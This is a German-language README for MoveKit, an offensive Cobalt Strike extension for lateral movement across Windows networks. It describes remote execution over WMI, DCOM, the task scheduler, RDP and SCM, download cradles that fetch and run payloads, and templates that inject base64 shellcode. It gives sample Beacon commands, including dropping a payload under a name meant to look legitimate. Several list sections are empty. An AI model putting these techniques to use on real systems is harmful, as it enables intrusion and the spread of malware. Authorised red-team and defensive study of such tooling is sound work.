
Cobalt Strike-Kit für Lateral Movement
Movekit ist eine Erweiterung der integrierten lateralen Bewegung von Cobalt Strike, die die execute_assembly-Funktion mit den .NET-Assemblies SharpMove und SharpRDP nutzt. Das Aggressor-Skript übernimmt die Erstellung der Payloads, indem es die Vorlagendateien für einen bestimmten Ausführungstyp liest.
WICHTIG: Um das Skript zu verwenden, muss der Benutzer lediglich das Aggressor-Skript MoveKit.cna laden, das automatisch alle anderen erforderlichen Skripte lädt. Zusätzlich müssen – abhängig von den durchgeführten Aktionen – die Assemblies SharpMove und SharpRDP kompiliert und im Verzeichnis Assemblies abgelegt werden. Schließlich erfordert das Verschieben von Dateien dynamisches Kompilieren, wofür Mono benötigt wird.
Beim Laden des Aggressor-Skripts wird ein Selektor in der menubar mit dem Namen Move geladen. Der Benutzer kann mehrere Optionen auswählen. Erstens kann ein Befehl auf einem entfernten System über WMI, DCOM, Task Scheduler, RDP oder SCM ausgeführt werden. Zweitens gibt es den Command-Ausführungsmechanismus, der Download-Cradles verwendet, um die Dateien abzurufen und auszuführen. Drittens legt die File-Methode eine Datei auf dem System ab und führt sie aus. Es gibt Write File Only, das keine Ausführung durchführt, sondern nur Daten verschiebt. Schließlich gibt es eine Default-Einstellung, um die GUI schneller zu machen und mit Beacon-Befehlen zu verwenden. Die Standardeinstellungen werden für alles verwendet, das einen Standard akzeptieren kann.
Um die Beacon-Befehle zu verwenden, werden die Standardeinstellungen ausgelesen und einige Befehlszeilenargumente verwendet. Ein Beacon-Befehlbeispiel:
<exec-type> <target> <listener> <filename>
move-msbuild 192.168.1.1 http move.csproj
Zusätzlich ist der benutzerdefinierte, vorgefertigte Beacon-Befehl etwas anders. Befehlsbeispiel:
move-pre-custom-file <target> <local-file> <remote-filename>
move-pre-custom-file computer001.local /root/payload.exe legit.exe
Das Feld location ist der kniffligste Teil des Projekts. Wenn die Dateiverschiebung per WMI ausgewählt wird, wird location verwendet; wenn SMB ausgewählt ist, wird es nicht verwendet (kann also leer gelassen werden). Location akzeptiert drei verschiedene Werte. Erstens: Wenn location eine URL ist, wird die Payload nach der Erstellung über den Webserver von Cobalt Strike bereitgestellt. Der Beacon-Host, von dem das Assembly ausgeführt wird, sendet eine Webanfrage an die URL und ruft die Datei ab, die dann in einem Event-Sub auf dem Zielhost verwendet wird, um die Datei zu schreiben. Zweitens: Wenn location ein Windows-Verzeichnis ist, wird die erstellte Datei auf den Beacon-Host hochgeladen; das Assembly liest sie aus dem Dateisystem und speichert sie im Event-Sub, um sie auf den entfernten Host zu schreiben. Drittens: Wenn das Feld location ein Linux-Pfad oder das Wort local ist, wird die Payload dynamisch in das ausgeführte Assembly kompiliert. Wenn die Datei jedoch die 1-MB-Größenbeschränkung überschreitet, wird ein Fehler angezeigt.
Bei allen Datei-Methoden wird die Payload durch das Aggressor-Skript erstellt. Wenn jedoch bereits eine Payload erstellt wurde, können Benutzer die Option Custom (Prebuilt) auswählen, um sie zu verschieben und auszuführen.
Das Kit enthält verschiedene Dateiverschiebungstechniken, Ausführungstrigger und Payload-Typen.
Dateiverschiebung bezieht sich auf die Methode, die verwendet wird, um eine Datei auf einen entfernten Host zu bringen. Dateiverschiebungsarten:
Befehlstrigger bezieht sich auf die Methode, die verwendet wird, um einen bestimmten Befehl auf einem entfernten Host auszuführen. Befehlstrigger-Arten:
Shellcode-only-Ausführung:
Hijacks:
Um eine Vorlage zu ersetzen, müssen zwei Bedingungen erfüllt sein. Erstens muss die Vorlage nach der Technik benannt sein (Beispiel: msbuild.csproj). Zweitens muss der Quellcode die Zeichenkette $$PAYLOAD$$ enthalten, wo der Base64-kodierte Shellcode eingefügt wird, und der Code muss in der Lage sein, einen Base64-String in ein Byte-Array zu konvertieren. Beispiel für C#:
string strSC = "$$PAYLOAD$$";
byte[] sc = Convert.FromBase64String(strSC);
Es wurde eine Änderung hinzugefügt, die es erlaubt, die Zeichenkette für 'Suchen und Ersetzen' und die Shellcode-Formate im Dialog 'Standardeinstellungen aktualisieren' zu aktualisieren. Standardmäßig sind dies $$PAYLOAD$$ und base64.
execute-assembly von Cobalt Strike, die wie andere Post-Ex-Jobs in einen Opferprozess injiziert.File- oder Command-Methoden werden Dateien auf der Festplatte abgelegt.Ein Teil des Codes, der Vorlagen oder der Inspiration stammt von anderen Personen und Projekten:
Es gibt wahrscheinlich irgendwo Fehler, sie tauchen ab und zu auf. Einfach melden, und ich behebe sie.